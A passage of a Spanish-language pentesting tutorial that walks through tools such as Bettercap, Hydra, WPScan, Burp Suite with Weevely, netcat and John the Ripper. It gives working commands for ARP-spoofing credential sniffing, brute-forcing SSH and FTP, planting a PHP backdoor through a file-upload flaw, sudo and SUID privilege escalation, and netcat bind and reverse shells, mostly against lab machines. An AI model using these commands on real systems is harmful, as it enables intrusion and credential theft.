que eligieron, los otros tres que restan lo completan
con dígitos aleatorios.
ANGRY IP SCANNER
Angry IP Scanner es una herramienta para escanear las
direcciones IP y puertos de los dispositivos que están
conectados al router, debo añadir que es de código
abierto.
Instalación y uso:
Es muy fácil de instalarlo, lo primero es ir a su web
oficial y descargar el paquete DEB correspondiente.
Descargar: https://angryip.org/download/#linux
Abrimos la terminal y en el directorio donde se
descargo el paquete lo instalamos con el gestor dpkg:
dpkg -i ipscan_3.7.6_amd64.deb
Ahora debemos de buscarlo en el apartado de
aplicaciones:
Por último, le damos al botón “Comenzar” y esperamos a
que realice el escaneo:
Rango IP de inicio y
finalización
= Host activo
= Host inactivo
Angry ofrece múltiples opciones, entre ellas
Geolocalizador IP, Ping, Whois, Navegador Web (login),
FTP, Telnet, Trace route, SSH.
KISMET
Kismet es un programa de Linux que permite detectar y
rastrear intrusiones en una red de wifi inalámbrica
(WLANs) mediante tarjetas wireless estándar 802.11ª,
802.11g y 802.11b. Esta herramienta también es
utilizada para Wardriving, es decir, una técnica que
consiste en buscar redes inalámbricas Wi-Fi (APs) que
están a nuestro alrededor desde un vehículo. Kismet
funciona con la tarjeta en modo monitor y los paquetes
capturados son guardados en un archivo de salida.
Instalación y uso:
Para instalar kismet, ejecutar el siguiente comando:
sudo apt-get install kismet
Iniciamos la herramienta y le indicamos la tarjeta que
vamos a utilizar:
kismet_server -c wlan0
Fuente a capturar
Interfaz
Está siendo ejecutado en modo
servidor, por lo tanto nos devuelve
una dirección http para administrar
las redes y ver la información de
forma más ordenada.
http://localhost:2501
Luego de conectarnos a nuestro localhost nos saldrá la
siguiente ventana donde muestra las redes Wi-Fi y los
dispositivos cercanos:
Si es la primera vez que ejecutan kismet les
pedirá que ingresen un usuario y contraseña.
Con clic izquierdo obtenemos información de un
dispositivo o red en específico:
Las “Data Sources” capturan información por la interfaz
indicada, y la opción “Hop” es salto de canal en canal
cada 5 segundos.
Los filtros o registros permite situarse
en un determinado dispositivo o punto de
acceso:
Al hacer clic izquierdo en una red de Wi-FI las
direcciones MAC’s están asociadas a un dispositivo
conectado (cliente), de este modo, conseguimos
identificarlo:
BETTERCAP
Bettercap es la nueva versión mejorada de Ettercap, es
capaz de realizar varios tipos de ataques MITM contra
una red IPv4 y IPv6, manipular el tráfico HTTP, HTTPS y
TCP en tiempo real. También es capaz de realizar
ataques de desautenticación, Bluetooth Low Energy,
PMKID y obtener el handshake de clientes que usan
protocolo WPA y WPA2. Cabe destacar que Bettercap
incorpora un sniffer capaz de conseguir credenciales de
usuario de forma rápida y fácil.
Instalación y uso:
Ejecutar los siguientes comandos en forma ordenada:
1-
sudo apt-get install build-essential ruby-dev libpcap-dev
2-
apt-get update
3-
apt-get install bettercap
Iniciar bettercap según la interfaz de red:
bettercap -iface wlan0
El menú de ayuda mostrará todos los módulos disponibles
y cuales están en ejecución:
help
Empezaremos por lo más sencillo, un monitoreo de
conexión en dónde revelaremos todos los dispositivos
que se encuentren conectados a nuestra red y que
páginas visita.
Módulo NET.PROBE Al activarlo, envía diferentes tipos de
solicitudes de sonda a cada IP en la subred
para que el módulo net.recon los detecte.
net.probe on
Dispositivos
conectados.
Total: 4 sin
el router.
Módulo TICKER Mostrar información de los dispositivos
detectados de forma ordenada.
ticker on
Módulo ARP.SPOOF Falsifica hosts seleccionados en la red
utilizando paquetes ARP diseñados para
realizar un ataque MITM.
set arp.spoof.targets "IP local"
IP del objetivo
Activamos el módulo mencionado anteriormente:
arp.spoof on
Módulo NET.SNIFF Rastreador de paquetes de red, es capaz de
analizar varios protocolos importantes para
recolectar credenciales.
set net.sniff.verbose false
El modo “verbose” se desactiva para no
generar alertas, ya que solo queremos
capturar paquetes que genere nuestra máquina
víctima.
set net.sniff.local true
Comenzar analizar el tráfico de red:
Para analizar e imprimir paquetes generados
por la máquina, tenemos que definir el valor
como verdadero.
net.sniff on
Páginas que visita la víctima
Capturar credenciales (Sniffing)
Este ataque, realizado anteriormente con Ettercap,
consiste en colocarse en medio de la transmisión de
datos entre dos máquinas que conforman la red. El
objetivo principal del espionaje es capturar
credenciales que corren por la red. En la actualidad
aún existen páginas con el protocolo HTTP, y algunas de
ellas pertenecen al gobierno.
Poniendo en práctica lo aprendido, activamos los
siguientes módulos ya mencionados:
1- bettercap -iface wlan0
2- net.probe on
Módulo NET.SHOW
Este módulo lee y reconoce la tabla ARP del
sistema para detectar nuevos hosts en la
red.
3-
net.show
Parámetro ARP.SPOOF.FULLDUPLEX
Si es verdadero, los objetivos y la puerta
de enlace serán atacados; de ser falso,
solo el objetivo. Si el enrutador tiene
protecciones de suplantación de identidad
ARP, hará que el ataque falle.
4-
set arp.spoof.fullduplex true
Lo siguiente será establecer la IP del objetivo:
5-
set arp.spoof.targets "IP"
Iniciar el ARP spoofer:
6-
arp.spoof on
Parámetro NET.SNIFF.LOCAL
Si es verdadero, considerará los paquetes
desde/hacia esta computadora, de lo
contrario, los omitirá. Esto significa que
todos los datos se están transfiriendo
desde nuestra computadora u otra.
7-
set net.sniff.local true
Por último, encender el olfateo y capturar los
paquetes:
8- net.sniff on
Una vez que la víctima introduzca los datos,
inmediatamente nos llegará a la terminal.
WPSCAN
WPScan es una importante herramienta que los
profesionales de la seguridad y desarrolladores de
sitios webs pueden usar para escanear sitios de
WordPress en busca de vulnerabilidades y mejorar su
seguridad contra terceros malintencionados.
Está herramienta es capaz de encontrar usuarios y
contraseñas débiles, problemas en la configuración de
seguridad, plugins y temas utilizados. Cabe destacar
que incluye un parámetro de fuerza bruta.
Uso de WPScan:
Al igual que la gran mayoría de herramientas dispone de
un comando de ayuda, el siguiente:
wpscan --h
Actualizar la base de
datos con las últimas
vulnerabilidades:
wpscan --update
Completada la actualización vamos a realizar un escaneo
simple para chequear como funciona esta herramienta,
para ello he utilizado dorks para facilitar la búsqueda
de páginas vulnerables.
Página de dorks: https://www.exploit-db.com/google-hacking-database
Se actualiza constantemente
Escaneo básico
El escaneo básico es el modo más simple en que podemos
revisar el sitio WordPress, se le considera no
intrusivo:
wpscan --url www.example.com
En el apartado de “Headers” es para descubrir
información acerca del servidor:
Los archivos robots.txt indican si determinados agentes
de usuarios pueden o no rastrear partes de un sitio
web. El registro de agente de usuario define el inicio
de un grupo de directivas.
XML-RPC permite la comunicación y transmisión de
WordPress con otros sitios webs y aplicaciones remotas,
de manera de poder intercambiar datos y agregar nuevas
funciones. Con el tiempo xmlrpc.php se ha vuelto una
amenaza de seguridad, y por ende, se recomienda
deshabilitarlo. El hecho de estar activado implica que
los crackers puedan obtener acceso a tu sitio mediante
fuerza bruta con tan solo creando combinaciones de
usuarios y contraseñas.
La segunda debilidad que aprovechaban estos usuarios
malintencionados era utilizar la función de pingbacks
para mandar miles de solicitudes a un sitio, provocando
un ataque DDoS.
¡VULNERABILIDAD GRAVE!
Mantener el registro de usuario de WordPress habilitado
permite que cualquier usuario tenga autorización a una
cuenta en tu WordPress, de tal manera que puede enviar
spam o peor aún, un defacing.
En WordPress las actualizaciones son sumamente
importantes debido a que si tenemos algo desactualizado
puede provocar que nuestro sitio web tenga
vulnerabilidades o errores.
Con saber la versión es suficiente para encontrar resultados en Google de
posibles agujeros de seguridad
La opción enumerate nos permite inspeccionar los
plugins, temas y cuentas de usuarios en la aplicación
web, informando de posibles vulnerabilidades y
versiones actuales:
wpscan --url www.example.com --enumerate
Este parámetro suele ir acompañado de opciones que se
encargan de mostrar ciertos plugins o temas:
p: muestra un listado de todos los plugins instalados.
wpscan --url www.example.com --enumerate p
vp: muestra solamente los plugins vulnerables.
wpscan --url www.example.com --enumerate vp
ap: descubre todos los plugins disponibles, envía un
número considerable de peticiones al servidor web.
wpscan --url www.example.com --enumerate ap
t: muestra el listado de temas instalados.
wpscan --url www.example.com --enumerate t
at: descubre todos los temas disponibles y también
envía un número considerable de peticiones hacía el
servidor web.
wpscan --url www.example.com --enumerate at
vt: muestra solamente los temas vulnerables.
wpscan --url www.example.com --enumerate vt
tt: detectar la presencia de scripts de TimThumb, una
vulnerabilidad de tipo zero day que presentó graves
problemas.
wpscan --url www.example.com --enumerate tt
u: enumera las diez primeras cuentas de usuario que
mantengan un id entre 1 y 10.
wpscan --url www.example.com --enumerate u
Ej:
wpscan --url www.example.com --enumerate u[1-10]
Inicio
Fin
--force: obligamos a WPScan que pase por alto la
ejecución remota del sitio WordPress.
wpscan --url www.example.com --force
--follow-redirection: en el caso de que el sitio tiene
una redirección, se seguirá sin preguntar.
wpscan --url www.example.com --follow-redirection
Ataque de fuerza bruta
--passwords: lista de archivos de contraseñas para usar
durante el ataque de contraseña.
--usernames: especificar uno o más nombres de usuarios.
Ej:
wpscan --url www.example.com --passwords wordlist.txt --usernames admin
Diccionario
Usuario
--enumerate -u
El ataque de fuerza bruta consiste en probar todas las
combinaciones posibles que se encuentran en un
diccionario hasta hallar con aquella que permita el
acceso, la duración dependerá de la longitud y
caracteres de la contraseña.
THC HYDRA
Hydra es una poderosa herramienta que se utiliza para
crackear sistemas de login de diferentes protocolos:
HTTP, HTTPS, TELNET, FTP, HTTP-PROXY, SMB, SMBNT, CVS,
MS-SQL, entre otros muchos más.
Su funcionamiento se basa en el uso de diccionarios
donde podremos almacenar todas aquellas posibles
contraseñas, de tal modo que permite a los
investigadores la posibilidad de mostrar que tan
fácilmente se puede obtener acceso no autorizado hacia
un sistema.
Uso de Hydra:
Hydra se ejecuta desde la línea de comandos y como toda
herramienta también incluye la opción de ayuda:
hydra -h
PARÁMETROS:
• l- es el nombre de usuario.
• L- con la mayúscula podemos poner un diccionario con
usuarios.
• p- es la contraseña del usuario.
• M- lista de servidores a atacar.
• P- con la mayúscula podemos agregar un diccionario con
contraseñas.
• v- es el verbose mode que imprime en pantalla los
intentos de usuarios-contraseñas.
• V- muestra más detalles del proceso de crackeo.
• R- restaura la sesión anterior en el caso de ser
abortada.
• S- se conecta por SSL.
• s- se utiliza para especificar un puerto, Hydra por
defecto agrega los puertos predeterminados.
• C- esta opción específica un diccionario combo, es
decir, un diccionario que tenga usuarios y contraseñas
(eliminando l- y p-).
• o- es el documento de salida que nos ira dejando luego
de sacar las contraseñas y usuarios.
Ej: o- user_pass.txt
• f- se cierra Hydra luego de encontrar la primera
contraseña.
• W- especificar el tiempo máximo que queramos que este
crackeando.
Ej: W- 55555
• t- permite cambiar la cantidad de contraseñas que se
crackean en paralelo (por defecto son 16), solo si
tienes un ordenador potente.
• b- especificar el formato de salida para –o (json,
jsonv1).
• y- deshabilita el uso de símbolos en fuerza bruta.
Cracking MetaSploitable
Metasploitable es una máquina virtual preconfigurada
que cuenta con una serie de vulnerabilidades
desafiantes para permitirnos poner a prueba nuestras
técnicas de hacking utilizando exploits, por ejemplo,
metasploit.
Descargar: https://sourceforge.net/projects/metasploitable/files/
Clic derecho y abrir con
VMware
Por predeterminado metasploitable mantiene una sesión
en la consola con el usuario msfadmin y contraseña
msfadmin:
Descifrar user y pass:
Antes de comenzar el ataque es preciso conocer el
objetivo, en este caso, los puertos abiertos.
Haremos uso de nmap para descubrir los puertos y
servicios que corren en él:
nmap -sV -p- 192.168.58.131
Escanear todos los puertos
IP de la máquina Metasploitable
Objetivo : puerto 22 > servicio SSH
Finalmente, aplicaremos hydra para descifrar la
contraseña:
hydra -L wordlist.txt -p msfadmin "service://IP"
Si quisiéramos hacerlo con nmap, sería tan simple como
usar el script ssh-brute:
nmap --script ssh-brute --script-args userdb=usernames.txt "IP"
Diccionario con posibles
usuarios autorizados
SCRIPT SSH-BRUTE Ataque de fuerza bruta contra servidores
SSH
En cuyo caso de que se trate del servicio FTP,
simplemente se reemplaza el puerto 22 por el 21:
nmap -sV -p 21 192.168.58.131
Objetivo : puerto 21 > servicio FTP
Ejecutaremos hydra con los siguientes parámetros:
hydra -L users.txt -P pass.txt "ftp://IP" -o credenciales.txt
Diccionario con usuarios
Diccionario con contraseñas
Documento de salida donde
se guarda los usuarios y
contraseñas encontradas
BURP SUITE
Burp Suite, también llamado «la navaja suiza de los
hackers», es una potente herramienta para realizar
auditorías de seguridad a aplicaciones web. Integra una
variedad de funcionalidades y componentes para realizar
las pruebas de pentesting y combinar cada una de ellas
de manera automática o manual.
Esta herramienta cuenta con dos versiones Burp Free
(gratuita) y Burp Professional (de pago), la versión
gratuita se encuentra instalada por defecto en la
distribución de Kali Linux pero si es tu primera vez
que ejecutas dicha herramienta, deberás aceptar los
pasos y por último comenzar con el proyecto.
Método GET y POST
Antes de comenzar con la prueba de pentest, es
imprescindible que conozcan las diferencias de los
términos GET y POST que se utilizan para enviar los
datos al servidor. Algo que no mencione de Burp Suite
es que su función básica se encuentra en el servidor
proxy (que configuraremos más adelante) que permite
interceptar el tráfico entre el navegador y aplicación
destino, el cual posibilita inspeccionarlo y
modificarlo. El usuario/cliente hace un request al
servidor pidiendo cierto contenido o archivo, la
repuesta del servidor se envía como un response
mostrando la petición que pidió el cliente. Para
“hackear” un sitio y obtener una shell remota lo que
hacemos es ponernos en el medio del request (petición)
y así poder interceptarlo para su posterior
modificación.
Hay dos tipos de requets, el request GET es cuando
pedimos información acerca del contenido, y el request
POST es cuando subimos un archivo o nos logueamos en un
sitio web.
Pentesting
Explotar vulnerabilidad File Upload
El siguiente ejemplo que veremos a continuación es la
explotación de la vulnerabilidad File Upload, que como
su nombre lo indica, es una vulnerabilidad que ocurre
en aplicaciones web donde existe la posibilidad de
subir un archivo sin que sea comprobado por un sistema
de seguridad que de alguna u otra manera frene peligros
potenciales. Permite a un atacante alojar archivos con
código malicioso (.PHP, .ASPX) y ejecutarlos en el
mismo servidor.
En mi caso, haré uso de la máquina Metasploitable 2
para tener un entorno más controlado y sin perjudicar a
nadie.
IP de la máquina
192.168.25.130
Insertaremos la dirección IP en el navegador y como
resultado se desplegará el panel de aplicaciones web
preinstaladas y con vulnerabilidades incorporadas, el
que nos interesa se llama DVWA (Damn Vulnerable Web
App).
Credenciales
Username = admin
Password = password
En la seguridad de DVWA
podemos establecer el nivel
de este, escogeré el nivel
bajo para obtener acceso
solamente utilizando la
herramienta weevely.
¿Qué es “Weevely”?
Es una herramienta de administración de webshell
escrita en Python, sirve para crear backdoors (puerta
trasera) en .PHP y contiene más de 30 módulos para
testear tareas administrativas; mantener acceso,
escalar privilegios y difundirse en la red. Cabe
recalcar que un ciberdelincuente podría utilizar esta
vulnerabilidad para obtener acceso de administrador y
desconfigurar la web por completo, así como también
borrar la base de datos o un simple defacement.
Crear una BACKDOOR
Su uso es básico, abren una terminal y ejecutan el
siguiente comando según las especificaciones:
weevely generate pass123 /home/whoami/backdoor.php
contraseña del backdoor
nombre del backdoor
ruta donde se guardará el backdoor
Continuando con lo que estábamos, es momento de subir
nuestro backdoor en el apartado de “upload”:
El ejemplo anterior nos devolvió una ruta la cual
debemos copiar y unirla junto con la dirección IP,
quedaría de la siguiente forma:
http://192.168.25.130/dvwa/hackable/uploads/backdoor.php
Nuevamente, volvemos a la terminal e ingresaremos el
comando weevely junto a la URL proporcionada + la
contraseña que hemos generado:
weevely http://192.168.25.130/dvwa/hackable/uploads/backdoor.php pass123
Y así de simple es como obtenemos acceso remoto a una
webshell y conseguimos ejecutar cualquier comando
dentro de lo permitido.
Seguridad Media
El próximo ejemplo es donde haremos uso de la
herramienta Burp Suite junto con Weevely, pero en esta
ocasión subiré la seguridad de baja a media y por
último a la más alta.
El primer paso será abrir la herramienta y configurar
el proxy el cual permite interceptar las peticiones e
inspeccionar el tráfico entre el navegador y el
servidor.
IP -> 127.0.0.1
Puerto -> 8080
Después hecho lo anterior, abrirán el navegador web
(Firefox de preferencia) y establecen el servidor proxy
con la IP y el puerto de Burp:
Al momento de volver a subir el backdoor nos devolverá
un error porque al aumentar la seguridad solo admite
archivos con extensión “.jpg” referente a una imagen:
El backdoor generado anteriormente lo renombramos a
“backdoor.jpg”, según el nombre que le han puesto.
ANTES
DESPUÉS
La pestaña de Proxy cuenta con subpestañas encargadas
de interceptar, mostrar peticiones y respuestas de la
comunicación destino. Los cuatro botones encargados de
controlar el proxy son:
• Intercept is on/off: permite iniciar y detener la
intercepción.
• Forward: continuar con la petición interceptada hacia
el servidor de destino.
• Drop: descartar la petición.
• Action: enviar la petición interceptada a otro
componente de Burp Suite.
Nuestra primera prueba será interceptar la petición del
backdoor en formato imagen para posteriormente su
modificación. Es importante activar el botón de
interceptar (ON).
Si intentamos subir el archivo verán que Burp captura
la petición y devuelve los datos. En cuyo caso de que
tengan alguna petición interceptada sin haber tocado
nada en el explorador, pueden desactivar el interceptor
o pulsar en “Drop” repetidamente hasta que la ventana
quede en blanco.
La línea importante que se debe modificar en este caso
es “filename=“, renombrar backdoor.jpg a backdoor.php:
A continuación, cliqueamos en “Forward” para que el
archivo se suba:
Volvemos a la terminal y repetimos los pasos con
weevely:
weevely http://192.168.25.130/dvwa/hackable/uploads/backdoor.php pass123
Es una vulnerabilidad muy peligrosa ya que permite a
un atacante apropiarse de un servidor web por medio de
una reverse Shell o puerta trasera. Como seguridad
recomiendo que nunca permitan que usuarios no
privilegiados puedan subir archivos ejecutables, así
como analizar el archivo con su respectiva extensión.
ESCALAR PRIVILEGIOS
Unos de los métodos más recurrentes luego de haber
explotado una vulnerabilidad en el sistema víctima es la
escalada de privilegios. Esta técnica ocurre cuando el
atacante se aprovecha de configuraciones incorrectas,
contraseñas débiles u otro tipo de errores que permite
acceder a activos protegidos. Este tipo de ataque pueden
ser locales o remotos. Sin embargo, existe una variedad
de explotaciones a nivel sistema operativo; donde el
atacante obtiene acceso a nivel kernel o sistema desde
una cuenta de usuario limitada; desde una red local o
nube; e incluso a nivel aplicación web y dominio.
Las vulnerabilidades de escalada de privilegios son
grandes cuando se trata de sistemas operativos. Pues, en
un sistema se encuentran muchos servicios corriendo y
controladores que se ejecutan con privilegios. Si el
acceso a esas zonas no se restringe, los atacantes
pueden aprovecharse y realizar tareas como usuario root.
Estos ataques se dividen en vertical y horizontal.
Vertical: cuando el atacante logra obtener acceso a una
cuenta root y ejecuta tareas con ese usuario.
Horizontal: cuando el atacante compromete una o más
cuentas de usuarios con privilegios limitados y
posteriormente vulnera el sistema para obtener permisos
y ejecutar funciones administrativas.
Abuso de Sudoers
La vulnerabilidad de Sudo es una utilidad que permite a
un atacante ejecutar comandos con acceso raíz. Omite la
política de seguridad de sudo, permitiendo que otros
usuarios ejecuten comandos en modo administrador (root).
En las distribuciones de Linux, el comando ALL que se
encuentra dentro de la ruta "/etc/sudoers", permite
ejecutar comandos con permisos ilimitados por parte de
un usuario en el grupo de administradores. Básicamente,
lo que se hace es saltarse las excepciones declaradas
por Sudo aunque este igual haya configurado un archivo
sudoers para establecer permisos y restringir el acceso
a ciertos usuarios.
A modo de ejemplo, crearé un usuario con una shell de
bin/bash, seguido de un directorio a nivel de sistema
ubicado en /home/:
useradd "nombre" -d /home/nombre -s /bin/bash
mkdir "nombre"
Por alguna razón el usuario "reliant" le pide al
administrador que le otorgue permisos a nivel de sudoers
para crear comprimidos ZIPs como root, lo cual éste
acepta ya que cree que no hay riesgo alguno. De ser así,
el administrador agregaría las siguientes líneas al
archivo mencionado:
Usuario
Comando (ZIP)
Permiso con nivel sudo sin
proporcionar contraseña
El comando "sudo –l" nos devuelve
un listado de los permisos que
tenemos otorgados, allí se observa
que el usuario reliant tiene
permiso de root para ejecutar el
comando zip.
El proyecto GTFOBINS fue creado con la finalidad de
filtrar información, acceder a directorios u archivos
restringidos, y lo más importante; elevar privilegios.
URL:
https://gtfobins.github.io/
El binario que nos interesa es zip de privilegios sudo:
En el apartado de Sudo, explica de que forma nos podemos
convertir en usuario root a partir de los siguientes
comandos listados:
mktemp -> crear directorios aleatorios de forma
temporal.
rm -> eliminar directorios y archivos.
La segunda línea es la que nos va a permitir elevar
privilegio sin perder estos permisos administrativos.
sudo zip $TF /etc/hosts -T -TT 'sh #'
Nombre de la variable,
puede ser cualquiera
Es así de sencillo como se
logra escalar privilegios por
un permiso que a simple vista
es "indefenso" pero un atacante
podría aprovecharse y acceder a
zonas restringidas.
Abuso de permisos SUID
Un SUID es un permiso especial que pueden tener ciertos
archivos ejecutables de un sistema. En cuyo caso que un
archivo tenga configurado el bit SUID, los usuarios
pueden ejecutarlo con los permisos de su propietario.
Los binarios SUID se identificar con el carácter "s" en
el cuarto bit de los permisos del archivo (Ej.
‘passwd’). Estos binarios suelen ser el principal
objetivo de los crackers ya que si se consigue encontrar
una vulnerabilidad en un programa con este bit activo
sería posible escalar privilegios. Los ejecutables de
Linux conocidos que pueden permitir una escalada de
privilegios son: Nmap (de la versión 2.02 a la 5.21),
Find, Vim, Timeout, Systemctl, Bash, Nano, CP, More,
Less, Nano.
El siguiente comando puede descubrir todos los
ejecutables SUID que se encuentran en el sistema.
Específicamente, intentará encontrar los archivos en el
directorio raíz "/", los imprime y luego redirige los
errores a "/dev/null".
Buscar en el sistema
find / -perm -4000 2>/dev/null
Directorio raíz
Un ejemplo de binarios SUID vulnerables es el comando
"python". Si encuentra el bit SUID establecido,
fácilmente se puede realizar una escalada de
privilegios. Antes que nada, es importante cambiar su
directorio actual a donde se encuentra el binario
python.
python -c 'import os;os.system("/bin/sh -p")'
En caso de tener éxito, obtendrá una shell con
privilegios elevados. Puede verificar esto ejecutando
el comando "whoami".
Otros de los binarios más explotados es el "timeout". En
esta excepción utilizaremos nuevamente GTFOBINS:
Cualquier usuario no privilegiado puede ejecutar el
comando timeout como el usuario root y de esta manera
conseguir elevar privilegios temporalmente.
HASH-IDENTIFIER
Hash Identifier es una herramienta basada en python que
le permite identificar rápidamente el tipo de hash
utilizado para cifrar contraseñas. Admite más de 220
tipos de hash únicos mediante expresiones regulares. Es
capaz de identificar un único hash o leer un archivo y
agrupar los diferentes hashes dentro de ellos, así como
también incluir el modo Hashcat o el formato de
JohnTheRipper en su salida.
¿Qué es un Hash?
Un hash es una función criptográfica que genera
identificadores únicos e irrepetibles con una longitud
indeterminada a partir de los datos de entrada. Estas
funciones tienen como objetivo codificar datos para
almacenar contraseñas de forma segura en texto
ilegible, comprobar la integridad de datos, firma de
documentos electrónicos, entre otras. Cumplen un papel
fundamental en los antivirus ya que estos se basan en
valores hash para determinar si un archivo es malicioso
o no, sin examinar el contenido o el comportamiento de
este. El motor del antivirus calcula el valor del hash
y prueba si hay coincidencia en su base de datos que
pertenezcan al malware conocido.
ENTRE LOS MÁS POPULARES
- MD2
- MD4
- MD5
- SAM
- DES (Unix)
- md5crypt
- Haval-128
- Tiger-128
- RipeMD-128
- SNEFRU-128
- RAdmin v2.x
- BCRYPT
- CRC-16
- FCS-16
- SHA-1
- NTLM
- Argon2
- Whirlpool
Identificar HASH
Para identificar un hash tenemos varios métodos, los
más utilizados es por medio de una herramienta la cual
vamos a ver a continuación. Como plan B también existen
identificadores online que no solo devuelven el tipo de
hash, sino que también es posible romper el cifrado del
mismo; siempre y cuando este en la base de datos.
Su uso es fácil, basta con ejecutar la herramienta y
proporcionarle el hash a encontrar:
hash-identifier
Posible hash: MD5, DCC
Posible hash: SHA-1
HASH Cracking
Luego de haber identificado el tipo de hash que
tengamos en frente, el siguiente paso es romper el
cifrado por medio de fuerza bruta. Para el siguiente
ejemplo se va hacer uso de la herramienta de
JohnTheRipper y un diccionario con las posibles
contraseñas del hash.
El comando de john es el siguiente:
john --format=Raw-MD5 --wordlist= "ruta/del/diccionario" "hash"
Tipo de hash (Ej. MD5, SHA-1) Ruta del diccionario Hash a descifrar
Contraseña del hash encontrada. He agregado intencionalmente la
contraseña al diccionario para no perder tiempo y poder
mostrarles el procedimiento.
En caso de que el hash sea SHA-1 u otro, solo
cambiaríamos el formato:
john --format=Raw-SHA1 --wordlist= "ruta/del/diccionario" "hash"
SEARCHSPLOIT
Existen diversas fuentes que contienen base de datos de
exploits públicos, pero ninguna se compara con Exploit-
DB. Es la colección más completa de exploits y ha sido
desarrollado para realizar pruebas de penetración y
estar prevenido de las posibles vulnerabilidades
criticas.
¿Qué es un EXPLOIT?
Como su nombre lo describe, un exploit es un programa o
fragmento de código malicioso diseñado para
aprovecharse y explotar una falla de seguridad,
generalmente con fines maliciosos. Un exploit no es un
malware como tal, es más un "pasaje" para introducir
malware a un sistema informático y generar
comportamientos no intencionados. Por lo general, la
toma de control de un sistema de forma remota, así como
también privilegios de administrador para lanzar
ataques DoS/DDoS.
Zero Day
Una vulnerabilidad de día cero es un ataque que por el
momento no tiene defensa, es decir, la vulnerabilidad
acaba de ser descubierta y como tal, no tiene un parche
que la solucione. Su principal amenaza es que mientras
se lanza dicho parche y los usuarios lo instalan en sus
respectivos equipos, los atacantes tienen libertad para
explotar la vulnerabilidad y sacar provecho de ello.
Encontrar un fallo de estos requiere de mucho tiempo,
por lo general se debe a un error de código del
software, servicio o página web. Por ejemplo, antes de
lanzar una aplicación al mercado se recomienda realizar
un testing para comprobar que todo este en orden, en
caso de no hacerlo, el atacante puede examinar el
código y encontrar fallas de seguridad.
Exploit-DB se puede acceder desde su página web oficial
o bajar los exploits desde la línea de terminal, como
haremos en este caso. De igual manera, les dejaré el
link al sitio oficial.
https://www.exploit-db.com
La herramienta contiene parámetros a utilizar, la
búsqueda básica sería:
searchsploit "exploit"
El parámetro “-t” permite realizar una búsqueda mas
precisa acerca de la vulnerabilidad o buscar el exploit
con un título en especifico.
searchsploit -t "exploit"
Cada exploit esta enumerado con cifra de números únicos
e irrepetibles. El parámetro "-p" muestra la ruta del
exploit e información más detallada del mismo.
searchsploit -p "exploit"
El siguiente parámetro a mostrar es el "-m", con él
podemos copiar (descargar) el exploit al directorio
proporcionado:
searchsploit -m "exploit"
Con la opción de "--examine" se puede inspeccionar el
código fuente del exploit:
searchsploit --examine "exploit"
Con la opción "-w" se muestra la URL completa de Exploit-
DB para ser inspeccionada y obtener información más
destallada:
searchsploit "exploit" -w
El parámetro "--exclude" se habilita cuando deseamos
eliminar los caracteres o resultados no deseados dentro
de la base de exploits:
searchsploit "exploit" --exclude="carácter"
NETCAT
Netcat o nc, es otra de las navajas suizas más
utilizada por hackers y administradores de red, ya que
tiene muchas funcionalidades. Esta herramienta es rica
en características; modo escucha por un puerto
determinado, transferir archivos de un cliente a
servidor (carga y descarga), creación de puerta
trasera, entre otras. Las conexiones de red que lee y
escribe es a través del protocolo TCP/IP, con
conexiones entrantes y salientes TCP/UDP.
Como toda herramienta, contiene un menú de ayuda:
nc -h
Escanear puertos abiertos:
nc -n -z -v "host" "rango-puerto"
-n => solo numérico (dirección IP)
-z => mostrar solo el estado del
puerto
-v => modo verbose
Como lo mencione anteriormente, netcat también sirve
para transferir archivos de una máquina a otra, y es lo
que haremos en el siguiente ejemplo.
Del lado de la máquina que recibe el archivo:
nc -l -v -p "puerto" > "archivo"
Es válido agrupar todos los parámetros “-lvp”
La máquina que envía el archivo:
nc -w 3 "host" "puerto" < "archivo"
-l => modo escucha para conexiones entrantes.
-p => número del puerto.
-w => tiempo de espera para conexiones.
Descubrir servidor web corriendo por detrás:
echo -en "GET / HTTP/1.0\n\n\n" | nc -v "host" "puerto" | grep Server
Encabezado HTTP por una petición GET
Comando bash: imprimir texto en pantalla
BIND Shell
Una Bind shell es una conexión directa desde la máquina
del atacante hacia la víctima por medio de un servicio
a la escucha. Para iniciar una bind shell, el atacante
debe tener la dirección IP de la víctima para acceder a
la computadora de destino y ejecutar comandos.
Del lado de la máquina víctima:
nc -lvp "puerto" -c bash
Del lado del atacante:
nc "host" "puerto"
-c + bash => ejecutar comandos bash
REVERSE Shell
Una Reverse shell es una configuración por parte del
atacante, es decir, primero debe iniciar el servidor en
su máquina , mientras que la víctima tendrá que actuar
como un cliente que se conecta al servidor creado por
el atacante. Después de la conexión exitosa, el
atacante puede obtener acceso a una shell inversa. A
diferencia de la bind, no es necesario que el atacante
conozca la dirección IP de la víctima.
Del lado del atacante (modo escucha):
nc -lvp "puerto"
Del lado de la víctima:
nc "host" "puerto" -e /bin/bash
-e => conectar una shell, cumple la misma función que el
parámetro -c
DIRBUSTER
Dirbuster es una aplicación diseñada para la detección
de nombres de directorios y archivos en servidores
web/aplicación por medio de fuerza bruta. En ocasiones,
un servidor web tiene páginas y aplicaciones ocultas,
esto con el propósito de restringir zonas sensibles a
usuarios públicos/no privilegiados para mantener cierta
información a “salvo”. La herramienta dirbuster esta
programada en Java, por lo tanto cuenta con una interfaz
gráfica (GUI) o si lo prefieren, desde la terminal.
Descubrir directorios y archivos
En la terminal, ejecutan el comando dirbuster y se
abrirá la aplicación.
En el primero campo de texto deben agregar la URL del
sitio web junto con el puerto:
Usar solo solicitudes GET: dirbuster solo realizara
solicitudes GET al escanear el sitio.
Cambio automático (HEAD y GET): dirbuster intentara
ejecutar primero una solicitud HEAD y luego una GET,
esto ahorrara ancho de banda y tiempo a comparación de
una sola petición.
Los threads es el número de subprocesos que utilizará la
herramienta. Esto acelera o ralentiza la búsqueda de
enumeración. De forma predeterminada, varía de 1 al 100,
al marcar la casilla de "Go Faster", esto se puede
aumentar hasta 500 subprocesos. Es importante tener en
cuenta la cantidad de subprocesos, la cantidad de
solicitudes por segundo puede bloquear o limitar el
acceso o el tiempo para finalizar.
Por defecto, dirbuster trae diccionarios listos para
utilizar en el ataque de fuerza bruta, es una
recolección hecha por distintos sitios de internet.
RUTA:
/usr/share/wordlists/dirbuster/
Por último, elegimos que deseamos enumerar (directorios
o archivos):
Luego de haber terminado el ataque, en la pestaña de
resultado se listarán los posibles directorios y
archivos encontrados:
Para acceder a cada una de ellas, solamente se tiene que
juntar la URL + el Dir/Archivo.
EJEMPLO:
http://prueba.com/phpMyAdmin/
DIRB
Dirb es un escáner de contenido web, busca los objetos
web existentes (ocultos). Básicamente cumple la misma
función que Dirbuster, solo que el procedimiento es por
la terminal y su lanzamiento es de un ataque de fuerza
bruta basado en un diccionario contra el servidor web.
